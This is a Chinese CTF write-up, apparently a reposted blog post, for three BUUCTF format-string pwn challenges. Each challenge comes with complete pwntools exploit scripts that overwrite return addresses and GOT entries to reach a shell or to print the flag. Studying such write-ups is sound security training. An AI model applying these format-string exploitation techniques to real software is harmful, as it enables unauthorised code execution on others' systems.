BUUCTF-PWN刷题记录-18(格式化字符串漏洞)

xman_2019_format(字符串位于堆上)

在这里插入图片描述

一道格式化字符串题目,但是只有一次输入机会,但是有多次利用机会,每次利用使用‘|’隔开
在这里插入图片描述
我们先看一下栈的情况
在这里插入图片描述

在这里插入图片描述

经过多次调试,可以发现返回地址最低一个16进制位一定为0xC,我们只需要爆破倒数第二个16进制位就能得到指向返回地址的栈上地址

Exp:

from pwn import *

#r = remote("node3.buuoj.cn", 25958)
#r = process("./xman_2019_format")
DEBUG = 0
if DEBUG:
	gdb.attach(r,
	'''
	b *0x080485F6
	b *0x08048606
	c
	''')
context(arch = 'amd64', os= 'linux')
elf = ELF("./xman_2019_format")
libc = ELF("./libc/libc-2.23.so")

backdoor = 0x080485AB

def pwn():
	r.recvuntil("...\n") #%10$hhn 18$
	#payload = '%10$p:%18$p'
	#0x5c = 92	0x85ab=34219
	payload = '%92c%10$hhn|%34219c%18$hn'
	r.sendline(payload)
	sleep(2)
	r.sendline('ls')
	r.interactive()

if __name__ == "__main__":
	#pwn()

	while True:
		r = remote("node3.buuoj.cn", 25958)
		try:
			pwn()
		except:
			r.close()

hitcontraining_playfmt(字符串位于bss)

在这里插入图片描述
一个循环的格式化字符串漏洞
在这里插入图片描述
利用过程和SWPUCTF_2019_login一样,具体原理看那篇文章即可

Exp:

from pwn import *


r = remote("node3.buuoj.cn", 25517)
#r = process("./hitcontraining_playfmt")

elf = ELF("./hitcontraining_playfmt")
libc = ELF('./libc/libc-2.23_32.so')
printf_got = 0x0804A010
old_addr = 0x0804B080
# printf:0xf7d7b2d0 system:0xf7d67200
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    '''
    b *0x0804854F
    c
    ''')

r.recvuntil("=====================\n")
r.recvuntil("=====================\n") #6 rbp 9 GOT 10 6->10
payload = "%6$p\n%15$p"
r.sendline(payload)
rbp = int(r.recvuntil('\n').strip(), 16)
success("rbp:"+hex(rbp))
start_main = int(r.recvuntil('\n').strip(), 16) - 247
libc.address = start_main - libc.sym['__libc_start_main']
system = libc.sym['system']
success("libc:"+hex(libc.address))

raw_input()
got_addr = rbp - 4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn'
r.sendline(payload)

raw_input()
num = printf_got & 0xFF
payload = '%' + str(num) + 'c%10$hhn'
r.sendline(payload)

raw_input()
got_addr = rbp - 8 - 4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn'
r.sendline(payload)

raw_input()
num = (printf_got+2) & 0xFFFF
payload = '%' + str(num) + 'c%10$hn'
r.sendline(payload)

raw_input()
num1 = system&0xFFFF
num2 = (system>>16)-num1
print hex(num1), ',', hex(num2)
payload ='%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%7$hn'
r.sendline(payload)

raw_input()
payload = "/bin/sh"
r.sendline(payload)

r.interactive()

wustctf2020_babyfmt

在这里插入图片描述
一道特别的格式化字符串漏洞题目
在这里插入图片描述
功能分别是leak,格式化字符串漏洞,输出flag
在这里插入图片描述
leak功能是输入一个地址,输出一个字节的数据,只有一次
但是这题有一个很坑爹的地方,就是这个一个字节的数据不会立即输出····
当然本题也可能不需要泄露

在这里插入图片描述
get_flag需要输入一串字符,和secret比较,相同才能输出flag,但是输出flag之前会先把stdout关了

在这里插入图片描述
程序还会询问一个时间,而这个函数正是泄露elf_base的关键函数

漏洞利用:

  1. 在询问时间时,发送字母过去,因为不符合%ld,因此栈不会被修改,输出时就能把栈上的信息泄露出来,而v2就是elf_base+0xbd5的地址
  2. 利用leak泄露出stderr的倒数第二byte的值,这样就不用爆破了(这是官方WP的做法,但是我这里调试不通,因为这一个byte不能立即输出,所以这步可以跳过)
  3. 利用格式化字符串漏洞把secret地址处写入0,这样strcmp就能成功,然后把bss上面的stdout处存放的地址改为stderr的,这样flag才能输出
    原理如下图:
    在这里插入图片描述
    因为printf会需要stdout的指针,这个指针保存在bss上,而虽然stdout被关闭,stderr却可以用,我们把stdout处的指针改为stderr的,就能输出flag了

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 27225)
#r = process("./wustctf2020_babyfmt")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *$rebase(0xFEA)
	b *$rebase(0xECC)
	x/10gx $rebase(0x202020)
	c
	''')
	#pause()

elf = ELF("./wustctf2020_babyfmt")
libc = ELF('./libc/libc-2.23.so')

menu = ">>"
def leak(addr):
	r.recvuntil(menu)
	r.sendline('1')
	#sleep(1)
	raw_input()
	r.send(addr)

def fmt(s):
	r.recvuntil(menu)
	r.sendline('2')
	#sleep(1)
	raw_input()
	r.send(s)

def flag():
	r.recvuntil(menu)
	r.sendline('3')

r.recvuntil("tell me the time:")
r.sendline('a')
r.sendline('a')
r.sendline('a')
r.recvuntil("ok! time is ")
num1 = int(r.recvuntil(':')[:-1])
elf_base = int(r.recvuntil(':')[:-1]) - 0xBD5
num3 = int(r.recvuntil('\n').strip())
success("num1:"+hex(num1))
success("elf:"+hex(elf_base))
success("num3:"+hex(num3))
#stdout:0x00007f9770e5d620 	stderr:0x00007f9770e5d540
secret = 0x202060 + elf_base
stderr = 0x202040 + elf_base
stdout = 0x202020 + elf_base

leak(p64(stderr+1))
#leak_num = (ord(r.recv(1))<<8) + 0x40 #这个是官方WP的做法
leak_num = (ord('\xe5')<<8) + 0x40

#%8$
payload = '%11$hn%' + str(leak_num) + 'c%12$hn' 
payload = payload.ljust(24, 'a') + p64(secret) + p64(stdout)
fmt(payload)

flag()
r.send('\x00'*0x40)
r.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/105992952